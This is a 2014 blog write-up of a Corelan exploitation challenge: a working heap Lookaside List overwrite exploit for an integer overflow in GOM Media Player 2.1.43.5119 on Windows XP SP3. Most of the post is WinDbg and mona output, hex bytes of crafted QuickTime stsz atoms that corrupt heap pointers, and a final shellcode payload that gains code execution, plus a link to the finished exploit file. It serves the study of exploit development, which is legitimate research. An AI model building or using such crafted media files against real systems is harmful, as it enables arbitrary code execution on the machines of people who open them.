THE

SPRAWL

  •  
  •  
  •  
  • At the end of the Corelan - Root Cause Analysis – Integer Overflows article by Jason Kratzer (pyoor) there is a challenge to complete an integer overflow exploit for the GOM Media Player 2.1.43.5119 using a generic Heap Lookaside List Overwrite technique.

    In this article I will cover all of the steps involved in slowly navigating the heap to gain arbitrary code execution. I assume you have studied pyoor's excellent article and are familiar with the specifics of the integer overflow vulnerability in the GOM Media Player. This allows me to concentrate on the exploitation part without rehashing the root cause analysis performed in the article. I would also recommend you to study Steven Seeley's Heap Overflows for Humans 102 article to get the background information necessary to tackle this exploit.

    The heap state covered in the article was sufficiently different from my system (Windows XP SP3). As a result, I had to duplicate some of the author's efforts in massaging the heap into a vulnerable state before discussing arbitrary code execution. As with my previous walkthroughs, my goal is to not only present you with a solution, but to share the thought process, challenges and solutions in building the exploit.

    Spoiler Warning: I would highly recommend you to go over the challenge yourself and come back to this article to find a possibly different solution or in case you get stuck.

    Heap State

    The first step in exploiting this particular integer overflow vulnerability is to get the exact heap state when we enter the vulnerable function at GSFU!DllUnregisterServer+0x23550. Set the breakpoint at that location and let the application run up to that point:

    0:000> bp GSFU!DllUnregisterServer+0x23550
    Bp expression 'GSFU!DllUnregisterServer+0x23550' could not be resolved, adding deferred bp
    0:000> g
      :
    ModLoad: 04dc0000 04ea9000   C:\Program Files\GRETECH\GomPlayer\GSFU.ax
    Breakpoint 0 hit
    eax=04de4830 ebx=04eb4cf0 ecx=0000005d edx=0000001f esi=04eb7108 edi=04eb7100
    eip=04de4830 esp=0012bdc4 ebp=00000000 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    GSFU!DllUnregisterServer+0x23550:
    04de4830 53              push    ebx
    

    Once you reach the breakpoint, we need to figure out the address of the private heap used by the function:

    0:000> !heap
    Index   Address  Name      Debugging options enabled
      1:   00150000                
             :         
     18:   04eb0000  <--
    

    Based on the above output, the private heap base is at 0x04eb0000. Since the challenge asked us to perform a Lookaside List Overwrite, we will concentrate on the frontend allocator. Let's visualize the state of the LAL using mona:

    0:000> !py mona heap -h 4eb0000 -t fea
    
      :
    
    [+] Processing heap 0x04eb0000
    [+] FrontEnd Allocator : LookAsideList
    [+] Getting LookAsideList for heap 0x04eb0000
        FrontEndHeap: 0x04eb0688
        Nr of (non-empty) LookAside Lists : 5
    
    LAL [5] @0x04eb0778, Expected Chunksize 0x28 (40), Flink : 0x04eb58d0
      1 chunks:
         ChunkPtr: 0x04eb58c8, UserPtr: 0x04eb58d0, Flink: 0x00000000, ChunkSize: 0x28, UserSize: 0x1c, Userspace: 0x20 (Busy)
    
    LAL [9] @0x04eb0838, Expected Chunksize 0x48 (72), Flink : 0x04eb5a88
      1 chunks:
         ChunkPtr: 0x04eb5a80, UserPtr: 0x04eb5a88, Flink: 0x00000000, ChunkSize: 0x48, UserSize: 0x39, Userspace: 0x40 (Busy)
    
    LAL [11] @0x04eb0898, Expected Chunksize 0x58 (88), Flink : 0x04eb7048
      1 chunks:
         ChunkPtr: 0x04eb7040, UserPtr: 0x04eb7048, Flink: 0x00000000, ChunkSize: 0x58, UserSize: 0x4c, Userspace: 0x50 (Busy)
    
    LAL [13] @0x04eb08f8, Expected Chunksize 0x68 (104), Flink : 0x04eb5758
      1 chunks:
         ChunkPtr: 0x04eb5750, UserPtr: 0x04eb5758, Flink: 0x00000000, ChunkSize: 0x68, UserSize: 0x5c, Userspace: 0x60 (Busy)
    
    LAL [15] @0x04eb0958, Expected Chunksize 0x78 (120), Flink : 0x04eb2400
      1 chunks:
         ChunkPtr: 0x04eb23f8, UserPtr: 0x04eb2400, Flink: 0x00000000, ChunkSize: 0x78, UserSize: 0x6c, Userspace: 0x70 (Busy)
    

    Considering we can allocate and overflow an arbitrary chunk from the Lookaside List, I have decided to use LAL[13] with a chunk at 0x04eb5758 as the initial overflow point and LAL[5] with a chunk at 0x04eb58d0 as the chunk to corrupt. There are two reasons for this selection. First the difference between the two addresses is only 376 or 0x178 bytes. Second, according to the view of all already allocated chunks between the two addresses, this range has the least number of chunks that we are going to corrupt reducing the chance of causing an exception before we have a chance to gain code execution. You can list all of the allocated chunks using mona as follows:

    0:000> !py mona heap -h 4eb0000 -t all
    

    In the heaplayout.txt file generated by mona you will find the following allocated chunks that we are going to corrupt:

    Chunk 0x04eb5750 (Usersize 0x5c, ChunkSize 0x68) : Busy <- LAL[13]
    Chunk 0x04eb57b8 (Usersize 0x68, ChunkSize 0x70) : Busy      
    Chunk 0x04eb5828 (Usersize 0x48, ChunkSize 0x50) : Busy      
    Chunk 0x04eb5878 (Usersize 0x48, ChunkSize 0x50) : Busy
    Chunk 0x04eb58c8 (Usersize 0x1c, ChunkSize 0x28) : Busy <- LAL[5]
    

    Just for the sake of comparison, a less desirable approach of going from LAL[5] to LAL[9] would corrupt a lot more chunks and likely (actually confirmed it the hard way) break the application before gaining code execution:

    Chunk 0x04eb58c8 (Usersize 0x1c, ChunkSize 0x28) : Busy <- LAL[5]
    Chunk 0x04eb58f0 (Usersize 0x1c, ChunkSize 0x28) : Busy
    Chunk 0x04eb5918 (Usersize 0x8, ChunkSize 0x10) : Busy
    Chunk 0x04eb5928 (Usersize 0x8, ChunkSize 0x10) : Busy
    Chunk 0x04eb5938 (Usersize 0x2, ChunkSize 0x10) : Busy
    Chunk 0x04eb5948 (Usersize 0x2, ChunkSize 0x10) : Busy
    Chunk 0x04eb5958 (Usersize 0x48, ChunkSize 0x50) : Busy
    Chunk 0x04eb59a8 (Usersize 0x48, ChunkSize 0x50) : Busy
    Chunk 0x04eb59f8 (Usersize 0x30, ChunkSize 0x38) : Busy
    Chunk 0x04eb5a30 (Usersize 0x48, ChunkSize 0x50) : Busy
    Chunk 0x04eb5a80 (Usersize 0x39, ChunkSize 0x48) : Busy <- LAL[9]
    

    Overwriting Lookaside

    In order to overwrite the FLINK pointer in LAL[5], we are going to have to allocate a chunk from LAL[13]. The allocation can be triggered by requesting a heap chunk of size 13*8 - 8 = 96 (0x60) bytes. Recall from the article that we can allocate an arbitrary sized chunk using the integer overflow in the vulnerable calloc implementation. Following the example in the article where we manipulated the stsz atom, let's set the number of entries in that atom to 0x80000018. This value will result in the allocation of a 0x60 byte chunk when multiplied by element size 4.

    Once this allocation occurs, the number of bytes copied to that chunk is limited by the total atom size. In this case we need to write 0x04eb58d0 - 0x04eb5758 + 4 = 0x17c bytes in order to reach the FLINK in LAL[5]. Keeping everything tidy let's set the total atom size to 0x190 to account for the 20 byte header.

    With the above two modifications, we can replace the stsz atom in the OriginalSeed.mov file from the article with the following:

         +-- Atom Size
         |
    -----+-----
    00 00 01 90 73 74 73 7A 00 00 00 00 00 00 00 00
    80 00 00 18 41 41 41 41 41 41 41 41 41 41 41 41
    -----+-----
         |
         +-- Number of Entries
    
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41
    41 41 41 41 41 41 41 41 41 41 41 41 78 78 78 78
                                        -----+-----
                                             | 
                                     FLINK --+
    

    Notice the last four bytes in the payload, 0x78787878, is a sample value we want to write to the FLINK of the first chunk in LAL[5].

    Also, since we are increasing the size of the particular atom, we must adjust the sizes of all of the enclosing atoms:

    stbl: Offset 1D7 0x000012C4 => 0x00001354
    minf: Offset 15E 0x0000133D => 0x000013CD
    mdia: Offset  FC 0x0000139F => 0x0000142F
    trak: Offset  74 0x00001427 => 0x000014B7
    moov: Offset   0 0x000014c8 => 0x00001558
    

    At this point, I would highly recommend you to use the 010 Editor with the ISOBMF template to quickly navigate various structures. The screenshot below illustrates the updated stsz atom of size 0x190:

    Let's confirm we can successfully allocate the chunk from LAL[13] at 0x04eb5758 in a new debugger session:

    0:000> bp GSFU!DllUnregisterServer+0x236a9
    0:000> g
    Breakpoint 0 hit
    eax=00000000 ebx=0000017c ecx=04eb5758 edx=41414141 esi=04eb7164 edi=04eb7100
    eip=04de4989 esp=0012bdb4 ebp=04eb7150 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    GSFU!DllUnregisterServer+0x236a9:
    04de4989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:04eb5758=00000000
    

    As evident by the destination address of the mov operation, the allocation happened from LAL[13] at 0x4eb5758 just as expected. Now if we were to set a hardware breakpoint at 0x04eb58d0, where the FLINK of the first chunk on LAL[5] is located, we should be able to capture it being overwritten by 0x78787878:

    0:000> bc 0
    0:000> ba w 4 04eb58d0
    0:000> g
    Breakpoint 1 hit
    eax=0000005e ebx=00000004 ecx=04eb5758 edx=78787878 esi=04eb72dc edi=04eb7100
    eip=04de498c esp=0012bdb4 ebp=04eb7150 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    GSFU!DllUnregisterServer+0x236ac:
    04de498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:04eb7128=04eb72e8
    

    Visualizing the heap with mona, we can observe the corrupted chunk at LAL[5]:

    0:000> !py mona heap -h 4eb0000 -t fea
    
    LAL [5] @0x04eb0778, Expected Chunksize 0x28 (40), Flink : 0x04eb58d0
      2 chunks:
         ChunkPtr: 0x04eb58c8, UserPtr: 0x04eb58d0, Flink: 0x78787878, ChunkSize: 0x20a08, UserSize: 0x209c7, Userspace: 0x20a00 (FFU-2,Busy) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
         ChunkPtr: 0x78787870, UserPtr: 0x78787878, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
    

    Corrupting Lookaside

    With the overwritten FLINK pointer in the first chunk in the LAL[5], we need to perform two allocations of size 5 * 8 - 8 = 32 (0x20). The first allocation to corrupt the Lookaside header and the second allocation to overwrite an arbitrary location in memory. The suggested approach in the article involves the crafting of the stco atom which would perform two 0x20 byte allocations and result in the write4 condition. In order to satisfy size requirements, the stco atom would have to be crafted as follows:

              +-- first LAL[5] allocation
              |
    00 00 00 20 73 74 63 6F 00 00 00 00 00 00 00 04 -+
    79 79 79 79 42 42 42 42 42 42 42 42 42 42 42 42  |
              |                                      |
              |           second LAL[5] allocation --+
              |       
              +-- pointer overwrite
    

    This approach has several limitations. Due to the size constrains imposed by 0x20 byte chunk size, we would only be able to overwrite 16 bytes. This is sufficient to overwrite a single pointer; however, I would like to also place shellcode immediately following the overwritten address as was illustrated in the article. Other than size limitation, stco atom handler writes data in 8 byte chunks, thus corrupting any input beyond the first four bytes with a 4 byte padding for each copied DWORD. So even if we found a way to allocate a larger chunk (e.g. LAL[9]) we would still not be able to use this method to place uncorrupted shellcode at a static location.

    An alternative approach would be to stick to the well-known stsz atom to perform the two allocations with uncorrupted data. Let's replace the stco atom in-place with the following stsz atom:

              +-- first LAL[5] allocation
              |
    00 00 00 20 73 74 73 7A 00 00 00 00 00 00 00 00
    80 00 00 08 79 79 79 79 42 42 42 42 42 42 42 42
              |           |
              |           +-- pointer value
              |
              +-- second LAL[5] allocation
    

    The atom above will create two 0x20 byte allocations. The first one will allocate a chunk to hold the 0x20 byte atom itself. The second allocation will occur as a result of the calloc call to copy the payload.

    Let's observe the two allocations in a new debugger session and see if we can replace an arbitrary memory location with 0x79797979. To be consistent (read lazy ;-) ) with the article, I have replaced the FLINK value from 0x78787878 to 0x7c97f32c as a pointer-to-pointer to overwrite.

    First let's make sure we are overflowing LAL[13] and overwriting the FLINK in the first chunk in LAL[5] with the new value 0x7c97f32c:

    0:000> bp GSFU!DllUnregisterServer+0x236a9; g
      :
    ModLoad: 04dc0000 04ea9000   C:\Program Files\GRETECH\GomPlayer\GSFU.ax
    Breakpoint 0 hit
    eax=00000000 ebx=0000017c ecx=04eb5758 edx=41414141 esi=04eb7164 edi=04eb7100
    eip=04de4989 esp=0012bdb4 ebp=04eb7150 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    GSFU!DllUnregisterServer+0x236a9:
    Missing image name, possible paged-out or corrupt data.
    Missing image name, possible paged-out or corrupt data.
    04de4989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:04eb5758=00000000
    
    0:000> bc *; ba w 4 04eb58d0; g                   +-- FLINK replacement value
    Breakpoint 0 hit                                  |     
    eax=0000005e ebx=00000004 ecx=04eb5758 edx=7c97f32c esi=04eb72dc edi=04eb7100
    eip=04de498c esp=0012bdb4 ebp=04eb7150 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    GSFU!DllUnregisterServer+0x236ac:
    04de498c 8b5728          mov     edx,dword ptr [edi+28h] ds:0023:04eb7128=04eb72e8
    

    Great! The FLINK was just overwritten with the new pointer address. Let's confirm the overwritten Lookaside chunk entry using mona:

    0:000> !py mona heap -h 4eb0000 -t fea
      :
    LAL [5] @0x04eb0778, Expected Chunksize 0x28 (40), Flink : 0x04eb58d0
      4 chunks:
         ChunkPtr: 0x04eb58c8, UserPtr: 0x04eb58d0, Flink: 0x7c97f32c, ChunkSize: 0x20a08, UserSize: 0x209c7, Userspace: 0x20a00 (FFU-2,Busy) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
         ChunkPtr: 0x7c97f324, UserPtr: 0x7c97f32c, Flink: 0x7c811788, ChunkSize: 0x3fc0, UserSize: 0x3fc0, Userspace: 0x3fb8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
         ChunkPtr: 0x7c811780, UserPtr: 0x7c811788, Flink: 0x8b55ff8b, ChunkSize: 0x0, UserSize: 0x-90, Userspace: 0x-8 (No Coalesce,Last) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
         ChunkPtr: 0x8b55ff83, UserPtr: 0x8b55ff8b, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
    

    Now let's use pyoor's winbag-foo to find the first heap chunk allocation from LAL[5]:

    0:000> bc *; bp ntdll!RtlAllocateHeap+0x117 "j (poi(@esp+4)==0x04eb0000) '.printf \"RtlAllocateHeap hHEAP 0x%p, size=0x%x, chunk at 0x%p\\n\", poi(@esp+4), poi(esp+c), eax'; 'g';"; g
      :
    RtlAllocateHeap hHEAP 0x04eb0000, size=0x20, chunk at 0x04eb58d0 <-- LAL[5]
    eax=04eb58d0 ebx=00000020 ecx=7c9101db edx=00030001 esi=00000020 edi=04eb7308
    eip=7c9101db esp=0012bd60 ebp=0012bd98 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!RtlAllocateHeap+0xeac:
    7c9101db c20c00          ret     0Ch
    

    So far so good, the allocated chunk 0x04eb58d0 corresponds to the first chunk that used to be in the LAL[5]. That means the LAL[5] header should be corrupted with the actual address we want to overwrite:

    0:000> !py mona heap -h 4eb0000 -t fea
      :
    LAL [5] @0x04eb0778, Expected Chunksize 0x28 (40), Flink : 0x7c97f32c <-- Corrupted
      3 chunks:
         ChunkPtr: 0x7c97f324, UserPtr: 0x7c97f32c, Flink: 0x7c811788, ChunkSize: 0x3fc0, UserSize: 0x3fc0, Userspace: 0x3fb8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
         ChunkPtr: 0x7c811780, UserPtr: 0x7c811788, Flink: 0x8b55ff8b, ChunkSize: 0x0, UserSize: 0x-90, Userspace: 0x-8 (No Coalesce,Last) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
         ChunkPtr: 0x8b55ff83, UserPtr: 0x8b55ff8b, Flink: 0x00000000, ChunkSize: 0x0, UserSize: 0x0, Userspace: 0x-8 (Free) 
                   ^^ ** Warning - unexpected size value, header corrupted ? **
    

    Indeed, the next allocation of size 0x20 will receive the fake chunk at the address we have specified at 0x7c97f32c. Now we can observe the target address being overwritten with an arbitrary value:

    0:000> g
    RtlAllocateHeap hHEAP 0x04eb0000, size=0x20, chunk at 0x7c97f32c <-- LAL[5]
    eax=7c97f32c ebx=0000000c ecx=7c9101db edx=00000020 esi=00000020 edi=00000000
    eip=7c9101db esp=0012bd68 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
    ntdll!RtlAllocateHeap+0xeac:
    7c9101db c20c00          ret     0Ch
    
    0:000> bp GSFU!DllUnregisterServer+0x236a9; g
    Breakpoint 1 hit
    eax=00000000 ebx=0000000c ecx=7c97f32c edx=79797979 esi=04eb58e4 edi=04eb7308
    eip=04de4989 esp=0012bdb4 ebp=04eb58d0 iopl=0         nv up ei pl nz na po nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
    GSFU!DllUnregisterServer+0x236a9:
    04de4989 891481          mov     dword ptr [ecx+eax*4],edx ds:0023:7c97f32c=00000000
    0:000> t; dd 7c97f32c
    7c97f32c  79797979 00000000 00000000 00000000
    

    In the above debugging snippet we have allocated the second 0x20 chunk from the corrupted LAL[5] which resulted in the allocation at 0x7c97f32c. Finally we have overwritten the pointer with an arbitrary value 0x79797979. Let's continue the execution and see if we can hit that pointer:

    0:000> bc *; g
    eax=00255208 ebx=7ffde000 ecx=00255298 edx=00251e90 esi=00255250 edi=75f40000
    eip=79797979 esp=0012c0ac ebp=0012c120 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010206
    79797979 ??              ???
    

    As a result of the heap corruption we were able to gain code execution.

    Many roads to EIP

    At this point we need to find a good pointer to jump to the shellcode. As outlined in the article, we don't really have the luxury of heap spraying in this exploit, thus the next best address is immediately following the pointer we have overwritten. Let's look at what we wrote at 0x7c97f32c:

    0:000> dd 7c97f32c
    7c97f32c  79797979 42424242 42424242 00000000
    

    It appears we only wrote 12 bytes which is hardly enough for a shellcode. The limitation is due to the use of the second stsz atom for both allocations from LAL[5], which limited us to atom size 0x20 or 32 bytes. From those 32 bytes we must subtract another 20 bytes for the header giving us only 12 - 4 bytes for the shellcode.

    A solution to the above problem is to split up the task of allocating two LAL[5] chunks between two separate stsz atoms. The latter of which would overflow the destination and write the shellcode there:

    stsz[2]
    00 00 00 20 73 74 73 7A 00 00 00 00 00 00 00 00
    00 00 00 03 42 42 42 42 42 42 42 42 42 42 42 42
    
    stsz[3]
    00 00 02 00 73 74 73 7A 00 00 00 00 00 00 00 00
    80 00 00 08 7C 97 F3 30 CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC CC
    

    The first stsz[2] atom is completely valid. Its only purpose is to corrupt the LAL[5] header. The second stsz[3] atom will allocate another LAL[5] chunk at an arbitrary location we have specified, but will also overflow it with up to 0x200 bytes. More than enough for our shellcode.

    For the sake of visualization, below is how the file will look like in the 010 Editor:

    NOTE: Be sure to adjust all of the container atom sizes to keep this a valid QT file.

    Notice the three separate stsz atoms which we are going to use to exploit the heap allocator. As illustrated above, the flow of execution will go from triggering the 0x7c97f32c pointer-to-pointer, jumping to 0x7c97f330, and finally executing the shellcode. The reason that we are jumping to the fourth byte instead of the very first one is due to the big-endian reversal that the stsz handler performs on copied bytes.

    Let's see this fake shellcode in action. Launch the application in the debugger and let it run without any breakpoints:

    (df0.698): Break instruction exception - code 80000003 (first chance)
    eax=00255208 ebx=7ffde000 ecx=00255298 edx=00251e90 esi=00255250 edi=75f40000
    eip=7c97f330 esp=0012c0ac ebp=0012c120 iopl=0         nv up ei pl nz na pe nc
    cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
    ntdll!LdrpShowInitRoutines:
    7c97f330 cc              int     3
    0:000> dd @eip-4
    7c97f32c  7c97f330 cccccccc cccccccc cccccccc
    7c97f33c  cccccccc cccccccc cccccccc cccccccc
    7c97f34c  cccccccc cccccccc cccccccc cccccccc
    7c97f35c  cccccccc cccccccc cccccccc cccccccc
    7c97f36c  cccccccc cccccccc cccccccc cccccccc
    7c97f37c  cccccccc cccccccc cccccccc cccccccc
    7c97f38c  cccccccc cccccccc cccccccc cccccccc
    7c97f39c  cccccccc cccccccc cccccccc cccccccc
    

    Great we have successfully redirected execution flow to the fake shellcode and started running it.

    Finalizing the exploit

    Finally craft the 4-byte aligned big-endian shellcode as described in the article and plug it into the third stsz atom:

    00 00 02 00 73 74 73 7A 00 00 00 00 00 00 00 00
    80 00 00 08 7C 97 F3 40 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
      :
      :
    90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90
    90 90 90 90 68 52 D2 31 63 6C 61 63 56 52 E6 89
    30 72 8B 64 8B 0C 76 8B 8B AD 0C 76 18 7E 8B 30
    8B 3C 5F 8B 8B 78 1F 5C 01 20 1F 74 1F 4C 8B FE
    0F F9 01 24 42 51 2C B7 07 3C 81 AD 45 6E 69 57
    74 8B F1 75 FE 01 1C 1F FF AE 3C 03 90 90 CC D7
    

    Running the above payload against the application executes the shellcode and pops the calc:

    You can grab the final exploit payload here.

    How I fail

    Just as was mentioned in the original article, this exploitation method relies on a very particular heap state in the application. As the heap state tends to change across systems and running conditions this exploitation approach is not as reliable as the application specific attack discussed in the article.

    External Links and References

    Special Note

    Thank you Jason Kratzer (pyoor) and the Corelan team for another excellent article. I particularly enjoyed the masterful use of WinDBG and mona. At times it felt like winbag bubblebath of knowledge. Thanks!

    Published on July 10th, 2014 by iphelix

    sprawlsimilar

    heap overflows for humans - 102 - exercise solution

    Heap Overflows For Humans is a series of articles by Steven Seeley that explore heap exploitation on Windows. In this article I will go over the exact reasoning and exploitation steps for an exercise created by Steven in the second article of the series. Read more.

    01 oct
    2014
    exodus - vuln-dev - master class

    A few weeks ago I had a great pleasure of studying at a week-long training taught by Exodus Intelligence. The Vulnerability Development - Master Class was taught by Aaron Portnoy, Zef Cekaj, and Peter Vreugdenhil. The class had an excellent presentation of two complementary yet unique subjects of vulnerability discovery and exploit development primarily under Windows environment. The instructors are truly masters of their field which was reflected in the great quality and depth of the material.

    While it is still fresh in my mind, I would like to share with you some of the notes on the covered subjects, the recommended prerequisites, and tips on how to get the most out of this very intensive training. Read more.

    open security training - introduction to software exploits - off-by-one

    A walkthrough for the Off-by-One exploit in the Open Security Training - Introduction to Software Exploits class. Read more.

    ida sploiter

    Download idasploiter-1.0.zip
    Size 25.4 KB
    DateSeptember 14th, 2014
    Version1.0

    IDA Sploiter is a plugin for Hex-Ray's IDA Pro disassembler designed to enhance IDA's capabilities as an exploit development and vulnerability research tool. Some of the plugin's features include a powerful ROP gadgets search engine, semantic gadget analysis and filtering, interactive ROP chain builder, stack pivot analysis, writable function pointer search, cyclic memory pattern generation and offset analysis, detection of bad characters and memory holes, and many others. Read more.


    sprawlcomments

    All original content on this site is copyright protected and licensed under Creative Commons - Attribution, NonCommercial, ShareAlike 4.0 International.

    π
    ///\oo/\\\